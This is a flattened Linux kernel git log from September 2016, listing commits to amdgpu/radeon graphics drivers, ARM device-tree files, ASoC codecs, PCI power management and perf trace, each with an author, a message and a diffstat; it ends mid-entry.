drivers/gpu/drm/radeon/radeon_drv.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 00ea8cba5ef7b783f11cb1a0b900b7c18d2ce0b6 Author: Alex Deucher Date: Thu Sep 22 14:40:29 2016 -0400 drm/amdgpu: always apply pci shutdown callbacks (v2) We can't properly detect all hypervisors and we need this to properly tear down the hardware. v2: trivial warning fix Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit ec2f05f034688468ddf42e79755b66bd6dd8281e Author: Christian König Date: Sun Sep 25 16:11:52 2016 +0200 drm/amdgpu: improve VM PTE trace points Use a separate one for the copy operation and log all the interesting parameters. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_trace.h | 20 +++++++++++++++++++- drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 10 ++++++---- 2 files changed, 25 insertions(+), 5 deletions(-) commit 186294f9c57856887b0efe3ce0dd8ca66605caef Author: Christian König Date: Sun Sep 25 16:10:06 2016 +0200 drm/amdgpu: fix GART_DEBUGFS define Obviously missed during the rename. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_gart.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 85a4b5798f587eab48327aa156fd5c22358e9086 Author: Christian König Date: Thu Sep 22 14:19:50 2016 +0200 drm/amdgpu: free userptrs even if GTT isn't bound This fixes a memory leak since binding GTT only on demand. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 3d5f4d4770a4084ccfc5ed2fff4b2a0017e7d558 Author: Tom St Denis Date: Thu Sep 22 12:29:40 2016 -0400 drm/amd/amdgpu: Various cleanups for DCEv6 Signed-off-by: Tom St Denis Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_v6_0.c | 46 ++++++++--------------------------- 1 file changed, 10 insertions(+), 36 deletions(-) commit ad78069c333b6d80958794d073d85f7c428a2213 Author: Christian König Date: Wed Sep 21 09:38:14 2016 +0200 drm/amdgpu: fix BO move offsets It's pretty pointless to get the offset first and then initialize it. Should fix issues with the new GTT manager. Signed-off-by: Christian König Reviewed-by: Michel Dänzer Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 98b480dba9d9c502480a69396c4f06698fcdaac1 Author: Christian König Date: Wed Aug 17 09:45:25 2016 +0200 drm/amdgpu: fix amdgpu_move_blit on 32bit systems This bug seems to be present for a very long time. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 815973039406d77210166ff5cc6b23504f10eb0e Author: Flora Cui Date: Tue Sep 20 17:07:31 2016 +0800 drm/amdgpu: fix gtt_mgr bo's offset Signed-off-by: Flora Cui Reviewed-by: Hawking Zhang Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_gtt_mgr.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 2befa60e4c538a094853ea00ac03b209b7ad272d Author: Christian König Date: Fri Sep 16 14:07:46 2016 +0200 drm/amdgpu: fix initializing the VM BO shadow We need to clear the shadows as well. Signed-off-by: Christian König Acked-by: Edward O'Callaghan Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit 2a82ec21b9ba342dc90e054458e430f577beca89 Author: Christian König Date: Fri Sep 16 13:11:45 2016 +0200 drm/amdgpu: fix initializing the VM last eviction counter Close a very small window where something can go wrong. Signed-off-by: Christian König Acked-by: Edward O'Callaghan Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 2698f6206f53bc23a40a1412b304225a6d62d120 Author: Christian König Date: Fri Sep 16 13:06:09 2016 +0200 drm/amdgpu: cleanup VM shadow BO unreferencing Unreference the shadow BOs in the error path as well and drop the NULL checks. Signed-off-by: Christian König Acked-by: Edward O'Callaghan Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) commit 0fc8683e568f228c08321fd99756f6230c98651b Author: Christian König Date: Fri Sep 16 11:46:23 2016 +0200 drm/amdgpu: allocate GTT space for shadow VM page tables We need to access those with the system domain. Fixes fallout from only allocating GTT space on demand. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) commit 765e7fbf081d0e8bd22b35468a1c016358b46179 Author: Christian König Date: Thu Sep 15 15:06:50 2016 +0200 drm/amdgpu: rename all rbo variable to abo v2 Just to cleanup some radeon leftovers. sed -i "s/rbo/abo/g" drivers/gpu/drm/amd/amdgpu/*.c sed -i "s/rbo/abo/g" drivers/gpu/drm/amd/amdgpu/*.h v2: rebased Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 4 +-- drivers/gpu/drm/amd/amdgpu/amdgpu_display.c | 42 +++++++++++++-------------- drivers/gpu/drm/amd/amdgpu/amdgpu_fb.c | 44 ++++++++++++++--------------- drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c | 20 ++++++------- drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 16 +++++------ drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 28 +++++++++--------- drivers/gpu/drm/amd/amdgpu/amdgpu_uvd.c | 8 +++--- drivers/gpu/drm/amd/amdgpu/dce_v10_0.c | 36 +++++++++++------------ drivers/gpu/drm/amd/amdgpu/dce_v11_0.c | 36 +++++++++++------------ drivers/gpu/drm/amd/amdgpu/dce_v6_0.c | 36 +++++++++++------------ drivers/gpu/drm/amd/amdgpu/dce_v8_0.c | 36 +++++++++++------------ drivers/gpu/drm/amd/amdgpu/dce_virtual.c | 12 ++++---- 12 files changed, 159 insertions(+), 159 deletions(-) commit 1927ffc0c19d7d42f775604f6984933bbb0d419b Author: Christian König Date: Thu Sep 15 14:10:48 2016 +0200 drm/amdgpu: remove unused member from struct amdgpu_bo Not used in a while. Signed-off-by: Christian König Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 2 -- drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 1 - 2 files changed, 3 deletions(-) commit bb990bb09235a3cc38fd4600d48c7bfb7a0a167c Author: Christian König Date: Fri Sep 9 16:32:33 2016 +0200 drm/amdgpu: add a custom GTT memory manager v2 Only allocate address space when we really need it. v2: fix a typo, add correct function description, stop leaking the node in the error case. Signed-off-by: Christian König Reviewed-by: Alex Deucher Reviewed-by: Felix Kuehling Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/Makefile | 3 +- drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 4 +- drivers/gpu/drm/amd/amdgpu/amdgpu_gtt_mgr.c | 238 ++++++++++++++++++++++++++++ drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 2 +- drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 20 ++- drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.h | 9 +- 6 files changed, 265 insertions(+), 11 deletions(-) commit 2744b647f49e24d636c8b293325aed674363f0d2 Author: Alex Deucher Date: Wed Sep 28 12:44:59 2016 -0400 drm/amdgpu/dce6: disable hpd on local panels Otherwise we can get a hotplug interrupt storm when we turn the panel off if hpd interrupts were enabled by the bios. bug: https://bugs.freedesktop.org/show_bug.cgi?id=97471 Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/dce_v6_0.c | 48 ++++++++++++++++++++++++++++------- 1 file changed, 39 insertions(+), 9 deletions(-) commit 324082586cc5918e3230f0b2f326656c653201eb Author: Alex Deucher Date: Wed Sep 28 12:44:20 2016 -0400 drm/amdgpu/dce8: disable hpd on local panels Otherwise we can get a hotplug interrupt storm when we turn the panel off if hpd interrupts were enabled by the bios. bug: https://bugs.freedesktop.org/show_bug.cgi?id=97471 Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/amd/amdgpu/dce_v8_0.c | 48 ++++++++++++++++++++++++++++------- 1 file changed, 39 insertions(+), 9 deletions(-) commit 3a9d993ee9809c217f4322623a9b78c8d17fdd1f Author: Alex Deucher Date: Wed Sep 28 12:43:33 2016 -0400 drm/amdgpu/dce11: disable hpd on local panels Otherwise we can get a hotplug interrupt storm when we turn the panel off if hpd interrupts were enabled by the bios. bug: https://bugs.freedesktop.org/show_bug.cgi?id=97471 Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/amd/amdgpu/dce_v11_0.c | 23 +++++++++++++---------- 1 file changed, 13 insertions(+), 10 deletions(-) commit e96ec90f496603c48e0945f8bdeb4cdf3088cbba Author: Alex Deucher Date: Wed Sep 28 12:41:50 2016 -0400 drm/amdgpu/dce10: disable hpd on local panels Otherwise we can get a hotplug interrupt storm when we turn the panel off if hpd interrupts were enabled by the bios. bug: https://bugs.freedesktop.org/show_bug.cgi?id=97471 Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/amd/amdgpu/dce_v10_0.c | 23 +++++++++++++---------- 1 file changed, 13 insertions(+), 10 deletions(-) commit bdbdb571c807b927867bd391159c9872a952533f Author: Alex Deucher Date: Tue Sep 27 14:57:35 2016 -0400 drm/amdgpu/si/dpm: fix phase shedding setup Used the wrong index to setup the phase shedding mask. Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si_dpm.c | 2 +- drivers/gpu/drm/amd/amdgpu/sislands_smc.h | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) commit 427920292b00474d978d632bc03a8e4e50029af3 Author: Alex Deucher Date: Tue Sep 27 14:51:53 2016 -0400 drm/radeon/si/dpm: fix phase shedding setup Used the wrong index to setup the phase shedding mask. Signed-off-by: Alex Deucher Cc: stable@vger.kernel.org drivers/gpu/drm/radeon/si_dpm.c | 2 +- drivers/gpu/drm/radeon/sislands_smc.h | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) commit 9909a7956f4c633a1fb98bf9f1ea32a67b12fe87 Author: Alex Deucher Date: Mon Sep 26 15:36:19 2016 -0400 drm/amdgpu/si/dpm: sync up quirks from radeon Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si_dpm.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 5e149073ba427f99c5e751e558670d034a278f77 Author: Richard Weinberger Date: Wed Sep 21 11:43:56 2016 +0200 mtdpart: Propagate _get/put_device() If the master device has callbacks for _get/put_device() and this MTD has slaves a get_mtd_device() call on paritions will never issue the registered callbacks. Fix this by propagating _get/put_device() down. Reviewed-by: Boris Brezillon Signed-off-by: Richard Weinberger Signed-off-by: Brian Norris drivers/mtd/mtdpart.c | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit 9a0af838c202572801dc344294eb0a2875f60ab7 Author: Jisheng Zhang Date: Wed Sep 28 21:36:37 2016 +0200 ARM: dts: sony-nsz-gs7: add missing unit name to /memory node This patch fixes the following DTC warning with W=1: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Jisheng Zhang Signed-off-by: Sebastian Hesselbarth arch/arm/boot/dts/berlin2-sony-nsz-gs7.dts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f415c5e3d04ee61ef15d52da952929ed21c2bd7f Author: Jisheng Zhang Date: Tue Sep 6 16:40:11 2016 +0800 ARM: dts: chromecast: add missing unit name to /memory node This patch fixes the following DTC warning with W=1: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Jisheng Zhang Signed-off-by: Sebastian Hesselbarth arch/arm/boot/dts/berlin2cd-google-chromecast.dts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7d88dd60fe6416d8fedc427b81f2da639ae3f1be Author: Jisheng Zhang Date: Tue Sep 6 16:40:10 2016 +0800 ARM: dts: berlin2q-marvell-dmp: add missing unit name to /memory node This patch fixes the following DTC warning with W=1: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Jisheng Zhang Signed-off-by: Sebastian Hesselbarth arch/arm/boot/dts/berlin2q-marvell-dmp.dts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a6942e9faa8f998d5dc88b062ec0e0ce730f570a Author: Jisheng Zhang Date: Tue Sep 6 16:40:09 2016 +0800 ARM: dts: berlin2: Add missing unit name to /soc node This patch fixes the following DTC warning with W=1: "Node /soc has a reg or ranges property, but no unit name" Signed-off-by: Jisheng Zhang Signed-off-by: Sebastian Hesselbarth arch/arm/boot/dts/berlin2.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2df5b049688d78358429cf2e167912e1176fb3f2 Author: Jisheng Zhang Date: Tue Sep 6 16:40:08 2016 +0800 ARM: dts: berlin2cd: Add missing unit name to /soc node This patch fixes the following DTC warning with W=1: "Node /soc has a reg or ranges property, but no unit name" Signed-off-by: Jisheng Zhang Signed-off-by: Sebastian Hesselbarth arch/arm/boot/dts/berlin2cd.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 32473612f83a1807d26a019a3b0532ce22f81838 Author: Jisheng Zhang Date: Tue Sep 6 16:40:07 2016 +0800 ARM: dts: berlin2q: Add missing unit name to /soc node This patch fixes the following DTC warning with W=1: "Node /soc has a reg or ranges property, but no unit name" Signed-off-by: Jisheng Zhang Signed-off-by: Sebastian Hesselbarth arch/arm/boot/dts/berlin2q.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2653c8cbdfbc1d51bdb3d1a0e421c88e32fb18ea Author: Jisheng Zhang Date: Tue Sep 6 16:40:06 2016 +0800 ARM: dts: berlin2: Remove skeleton.dtsi inclusion As noted in [1], "there are a number of problems with skeleton.dtsi, and it would be prefereable to remove it entirely." This patch is to remove skeleton.dtsi inclusion from berlin2. [1] http://www.spinics.net/lists/arm-kernel/msg528080.html Signed-off-by: Jisheng Zhang Signed-off-by: Sebastian Hesselbarth arch/arm/boot/dts/berlin2.dtsi | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 7283af5f6f70113518882ef31e28189b1380aa73 Author: Jisheng Zhang Date: Tue Sep 6 16:40:05 2016 +0800 ARM: dts: berlin2cd: Remove skeleton.dtsi inclusion As noted in [1], "there are a number of problems with skeleton.dtsi, and it would be prefereable to remove it entirely." This patch is to remove skeleton.dtsi inclusion from berlin2cd. [1] http://www.spinics.net/lists/arm-kernel/msg528080.html Signed-off-by: Jisheng Zhang Signed-off-by: Sebastian Hesselbarth arch/arm/boot/dts/berlin2cd.dtsi | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 2702d6161f5a58e4f7d2478b16c3b4065f744943 Author: Jisheng Zhang Date: Tue Sep 6 16:40:04 2016 +0800 ARM: dts: berlin2q: Remove skeleton.dtsi inclusion As noted in [1], "there are a number of problems with skeleton.dtsi, and it would be prefereable to remove it entirely." This patch is to remove skeleton.dtsi inclusion from berlin2q. [1] http://www.spinics.net/lists/arm-kernel/msg528080.html Signed-off-by: Jisheng Zhang Signed-off-by: Sebastian Hesselbarth arch/arm/boot/dts/berlin2q.dtsi | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit b78b11985a36bfe768add17ffb70bbaf9d8d7627 Merge: f808e13 1d50361 Author: Martin Brandenburg Date: Wed Sep 28 14:50:46 2016 -0400 Merge branch 'misc' into for-next Pull in an OrangeFS branch containing miscellaneous improvements. - clean up debugfs globals - remove dead code in sysfs - reorganize duplicated sysfs attribute structs - consolidate sysfs show and store functions - remove duplicated sysfs_ops structures - describe organization of sysfs - make devreq_mutex static - g_orangefs_stats -> orangefs_stats for consistency - rename most remaining global variables commit f808e138c0abd99bfce90ec8d4ef6406c2af714a Merge: a21aae3 0c95ad7 Author: Martin Brandenburg Date: Wed Sep 28 14:47:29 2016 -0400 Merge branch 'features' into for-next Pull in an OrangeFS branch containing improvements which the userspace component and the kernel to negotiate mutually supported features. commit 139787f426f735c96ddea2acd166b8127799ae9f Author: Jisheng Zhang Date: Thu Jul 7 14:01:15 2016 +0800 arm64: dts: berlin4ct: Add L2 cache topology This patch adds the L2 cache topology for berlin4ct which has 1MB L2 cache. [Sebastian: rename cache node from "l2-cache" to "cache"] Signed-off-by: Jisheng Zhang Signed-off-by: Sebastian Hesselbarth arch/arm64/boot/dts/marvell/berlin4ct.dtsi | 8 ++++++++ 1 file changed, 8 insertions(+) commit 7091eb9699151009d2980ae28ffdc8cbc9b5207e Author: Jisheng Zhang Date: Wed Jul 6 14:41:41 2016 +0800 arm64: dts: berlin4ct: enable all wdt nodes unconditionally After commit f29a72c24ad4 ("watchdog: dw_wdt: Convert to use watchdog infrastructure"), the dw_wdt driver can support multiple variants, so unconditionally enable all dw_wdt nodes now. Signed-off-by: Jisheng Zhang Signed-off-by: Sebastian Hesselbarth arch/arm64/boot/dts/marvell/berlin4ct.dtsi | 2 -- 1 file changed, 2 deletions(-) commit 7e38b27056b10ac4d9c921baa430f3821f784b09 Author: Jisheng Zhang Date: Tue Dec 15 22:57:55 2015 +0800 arm64: dts: berlin4ct: switch to Cortex-A53 specific pmu nodes Commit ac82d1277215 ("arm64: perf: add Cortex-A53 support") adds the cortex A53 PMU support, thus instead of using the generic armv8-pmuv3 compatibility use the more specific Cortex A53 compatibility. Signed-off-by: Jisheng Zhang Signed-off-by: Sebastian Hesselbarth arch/arm64/boot/dts/marvell/berlin4ct.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b009cb358e0ea736972e97e3873f26f39a9b9697 Author: Jisheng Zhang Date: Wed Jul 6 14:41:40 2016 +0800 arm: dts: berlin2q: enable all wdt nodes unconditionally After commit f29a72c24ad4 ("watchdog: dw_wdt: Convert to use watchdog infrastructure"), the dw_wdt driver can support multiple variants, so unconditionally enable all dw_wdt nodes now. Signed-off-by: Jisheng Zhang Signed-off-by: Sebastian Hesselbarth arch/arm/boot/dts/berlin2q.dtsi | 2 -- 1 file changed, 2 deletions(-) commit 684da56f7cf08012f23eb57ecd8846cf0f77a93b Author: Jisheng Zhang Date: Wed Jul 6 14:41:39 2016 +0800 arm: dts: berlin2: enable all wdt nodes unconditionally After commit f29a72c24ad4 ("watchdog: dw_wdt: Convert to use watchdog infrastructure"), the dw_wdt driver can support multiple variants, so unconditionally enable all dw_wdt nodes now. Signed-off-by: Jisheng Zhang Signed-off-by: Sebastian Hesselbarth arch/arm/boot/dts/berlin2.dtsi | 2 -- 1 file changed, 2 deletions(-) commit b269cebf72d3591cd889a25f81ead43166a45fb9 Author: Takashi Sakamoto Date: Wed Sep 28 09:29:21 2016 +0900 ASoC: wm8960: remove usage of obsoleted TLV-related macro TLV_DB_RANGE_HEAD macro was obsoleted by commit bf1d1c9b6179 ("ALSA: tlv: add DECLARE_TLV_DB_RANGE()"). This commit removes usage of the macro, with the obsoleting macro renamed to SNDRV_CTL_TLVD_DECLARE_DB_RANGE(). Signed-off-by: Takashi Sakamoto Acked-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/codecs/wm8960.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 51a576400ea46fec0df1672b373de91b00aa4a30 Author: Takashi Sakamoto Date: Wed Sep 28 09:29:20 2016 +0900 ASoC: rt5616: remove usage of obsoleted TLV-related macro TLV_DB_RANGE_HEAD macro was obsoleted by commit bf1d1c9b6179 ("ALSA: tlv: add DECLARE_TLV_DB_RANGE()"). This commit removes usage of the macro, with the obsoleting macro renamed to SNDRV_CTL_TLVD_DECLARE_DB_RANGE(). Signed-off-by: Takashi Sakamoto Signed-off-by: Mark Brown sound/soc/codecs/rt5616.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 349fa18c061a485a7928e9d3b998d464deaea8c4 Author: Takashi Sakamoto Date: Wed Sep 28 09:29:19 2016 +0900 ASoC: max9867: remove usage of obsoleted TLV-related macro TLV_DB_RANGE_HEAD macro was obsoleted by commit bf1d1c9b6179 ("ALSA: tlv: add DECLARE_TLV_DB_RANGE()"). This commit removes usage of the macro, with the obsoleting macro renamed to SNDRV_CTL_TLVD_DECLARE_DB_RANGE(). Signed-off-by: Takashi Sakamoto Signed-off-by: Mark Brown sound/soc/codecs/max9867.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 446576f9ea5308c671eafb1cdc2a977b406c1dc5 Author: Wei Yongjun Date: Wed Sep 28 14:50:18 2016 +0000 spi: imx: fix error return code in spi_imx_probe() Fix to return error code -EINVAL if no CS GPIOs available instead of 0, as done elsewhere in this function. Fixes: f13d4e189d20 ("spi: imx: Gracefully handle NULL master->cs_gpios") Signed-off-by: Wei Yongjun Acked-by: Marek Vasut Signed-off-by: Mark Brown drivers/spi/spi-imx.c | 1 + 1 file changed, 1 insertion(+) commit 97b4bc76d9f7ab1fab375bc6d6143804a7bc2256 Author: Marek Vasut Date: Wed Sep 28 12:24:10 2016 +0200 ASoC: trivial: system spelling fix Do s/ststem/system/ . Signed-off-by: Marek Vasut Signed-off-by: Mark Brown sound/soc/generic/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a0d2a959d3da343554523d26902de1d40a9e5c28 Author: Lukas Wunner Date: Sun Sep 18 05:39:20 2016 +0200 PCI: Avoid unnecessary resume after direct-complete Commit 58a1fbbb2ee8 ("PM / PCI / ACPI: Kick devices that might have been reset by firmware") added a runtime resume for devices that were runtime suspended when the system entered sleep. The motivation was that devices might be in a reset-power-on state after waking from system sleep, so their power state as perceived by Linux (stored in pci_dev->current_state) would no longer reflect reality. By resuming such devices, we allow them to return to a low-power state via autosuspend and also bring their current_state in sync with reality. However for devices that are *not* in a reset-power-on state, doing an unconditional resume wastes energy. A more refined approach is called for which issues a runtime resume only if the power state after direct-complete is shallower than it was before. To achieve this, update the device's current_state and compare it to its pre-sleep value. Signed-off-by: Lukas Wunner Signed-off-by: Bjorn Helgaas Acked-by: Rafael J. Wysocki drivers/pci/pci-driver.c | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) commit f0bbd602268e69f4f428075c645391d64bdd6c9f Author: Arnaldo Carvalho de Melo Date: Wed Sep 28 13:45:38 2016 -0300 perf trace: Beautify sched_[gs]et_attr return value Both return errno, show the string associated then. More work needed to capture the sched_attr arg to beautify it in turn, probably using BPF. Before: 0.210 ( 0.001 ms): sched_setattr(uattr: 0x7ffc684f02b0) = -22 After the patch, for this sched_attr, all other parms are zero, so not shown: struct sched_attr attr = { .size = sizeof(attr), .sched_policy = SCHED_DEADLINE, .sched_runtime = 10 * USECS_PER_SEC, .sched_period = 30 * USECS_PER_SEC, .sched_deadline = attr.sched_period, }; 0.321 ( 0.002 ms): sched_setattr(uattr: 0x7ffc44116da0) = -1 EINVAL Invalid argument [root@jouet c]# perf trace -e sched_setattr ./sched_deadline Couldn't negotiate deadline: Invalid argument 0.229 ( 0.003 ms): sched_setattr(uattr: 0x7ffd8dcd8df0) = -1 EINVAL Invalid argument [root@jouet c]# Now to figure out the reason for this EINVAL. Cc: Adrian Hunter Cc: Clark Williams Cc: Daniel Bristot de Oliveira Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Steven Rostedt Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-tyot2n7e48zm8pdw8tbcm3sl@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-trace.c | 2 ++ 1 file changed, 2 insertions(+) commit a6a64026c0cd1a76a0c8ab1c05a421aa4821887b Author: Lukas Wunner Date: Sun Sep 18 05:39:20 2016 +0200 PCI: Recognize D3cold in pci_update_current_state() Whenever a device is resumed or its power state is changed using the platform, its new power state is read from the PM Control & Status Register and cached in pci_dev->current_state by calling pci_update_current_state(). If the device is in D3cold, reading from config space typically results in a fabricated "all ones" response. But if it's in D3hot, the two bits representing the power state in the PMCSR are *also* set to 1. Thus D3hot and D3cold are not discernible by just reading the PMCSR. To account for this, pci_update_current_state() uses two workarounds: - When transitioning to D3cold using pci_platform_power_transition(), the new power state is set blindly by pci_update_current_state(), i.e. without verifying that the device actually *is* in D3cold. This is achieved by setting the "state" argument to PCI_D3cold. The "state" argument was originally intended to convey the new state in case the device doesn't have the PM capability. It is *also* used to convey the device state if the PM capability is present and the new state is D3cold, but this was never explained in the kerneldoc. - Once the current_state is set to D3cold, further invocations of pci_update_current_state() will blindly assume that the device is still in D3cold and leave the current_state unmodified. To get out of this impasse, the current_state has to be set directly, typically by calling pci_raw_set_power_state() or pci_enable_device(). It would be desirable if pci_update_current_state() could reliably detect D3cold by itself. That would allow us to do away with these workarounds, and it would allow for a smarter, more energy conserving runtime resume strategy after system sleep: Currently devices which utilize direct_complete are mandatorily runtime resumed in their ->complete stage. This can be avoided if their power state after system sleep is the same as before, but it requires a mechanism to detect the power state reliably. We've just gained the ability to query the platform firmware for its opinion on the device's power state. On platforms conforming to ACPI 4.0 or newer, this allows recognition of D3cold. Pre-4.0 platforms lack _PR3 and therefore the deepest power state that will ever be reported is D3hot, even though the device may actually be in D3cold. To detect D3cold in those cases, accessibility of the vendor ID in config space is probed using pci_device_is_present(). This also works for devices which are not platform-power-manageable at all, but can be suspended to D3cold using a nonstandard mechanism (e.g. some hybrid graphics laptops or Thunderbolt on the Mac). Signed-off-by: Lukas Wunner Signed-off-by: Bjorn Helgaas Acked-by: Rafael J. Wysocki drivers/pci/pci.c | 25 ++++++++++++------------- 1 file changed, 12 insertions(+), 13 deletions(-) commit cc7cc02bada84f0d707aa5b6d2ef8728a2e1f911 Author: Lukas Wunner Date: Sun Sep 18 05:39:20 2016 +0200 PCI: Query platform firmware for device power state Usually the most accurate way to determine a PCI device's power state is to read its PM Control & Status Register. There are two cases however when this is not an option: If the device doesn't have the PM capability at all, or if it is in D3cold (in which case its config space is inaccessible). In both cases, we can alternatively query the platform firmware for its opinion on the device's power state. To facilitate this, augment struct pci_platform_pm_ops with a ->get_power callback and implement it for acpi_pci_platform_pm (the only pci_platform_pm_ops existing so far). It is used by a forthcoming commit to let pci_update_current_state() recognize D3cold. Signed-off-by: Lukas Wunner Signed-off-by: Bjorn Helgaas Acked-by: Rafael J. Wysocki drivers/pci/pci-acpi.c | 22 ++++++++++++++++++++++ drivers/pci/pci.c | 10 ++++++++-- drivers/pci/pci.h | 3 +++ 3 files changed, 33 insertions(+), 2 deletions(-) commit 4132a577a0a7e75b938d2ae49c7a16b358f60661 Author: Lukas Wunner Date: Sun Sep 18 05:39:20 2016 +0200 PCI: Afford direct-complete to devices with non-standard PM There are devices not power-manageable by the platform, but still able to runtime suspend to D3cold with a non-standard mechanism. One example is laptop hybrid graphics where the discrete GPU and its built-in HDA controller are power-managed either with a _DSM (AMD PowerXpress, Nvidia Optimus) or a separate gmux controller (MacBook Pro). Another example is Thunderbolt on Macs which is power-managed with custom ACPI methods. When putting the system to sleep, we currently handle such devices improperly by transitioning them from D3cold to D3hot (the default power state defined at the top of pci_target_state()). This wastes energy and prolongs the suspend sequence (powering up the Thunderbolt controller takes 2 seconds). Avoid that by assuming that a non-standard PM mechanism is at work if the device is not platform-power-manageable but currently in D3cold. If the device is wakeup enabled, we might still have to wake it up from D3cold if PME cannot be signaled from that power state. The check for devices without PM capability comes before the check for D3cold since such devices could in theory also be powered down by non-standard means and should then be afforded direct-complete as well. Signed-off-by: Lukas Wunner Signed-off-by: Bjorn Helgaas Acked-by: Rafael J. Wysocki drivers/pci/pci.c | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) commit ac2a8bca03a6d281c78e803899001e22a92b92e9 Merge: a6a1cf3 3c6e8d0 Author: Linus Walleij Date: Wed Sep 28 09:30:21 2016 -0700 Merge branch 'ib-move-htc-egpio' into devel commit 3c6e8d05d60d8106b5cdc730cf220b2a4b521b66 Author: Linus Walleij Date: Fri Sep 16 13:48:12 2016 +0200 mfd/gpio: Move HTC GPIO driver to GPIO subsystem The HTC GPIO driver is a pure GPIO driver and I just can not see what it is doing inside MFD. Let's just move it to GPIO and take this opportunity to move the platform data to Cc: arm@kernel.org Cc: Russell King Acked-by: Lee Jones Acked-by: Arnd Bergmann Signed-off-by: Linus Walleij arch/arm/mach-pxa/hx4700.c | 2 +- arch/arm/mach-pxa/magician.c | 2 +- arch/arm/mach-sa1100/h3xxx.c | 2 +- drivers/gpio/Kconfig | 8 + drivers/gpio/Makefile | 1 + drivers/gpio/gpio-htc-egpio.c | 440 +++++++++++++++++++++++++++ drivers/mfd/Kconfig | 8 - drivers/mfd/Makefile | 1 - drivers/mfd/htc-egpio.c | 440 --------------------------- include/linux/mfd/htc-egpio.h | 57 ---- include/linux/platform_data/gpio-htc-egpio.h | 57 ++++ 11 files changed, 509 insertions(+), 509 deletions(-) commit dd01c75f1df311793de6ef217c72036552000c9a Author: Bastian Hecht Date: Wed 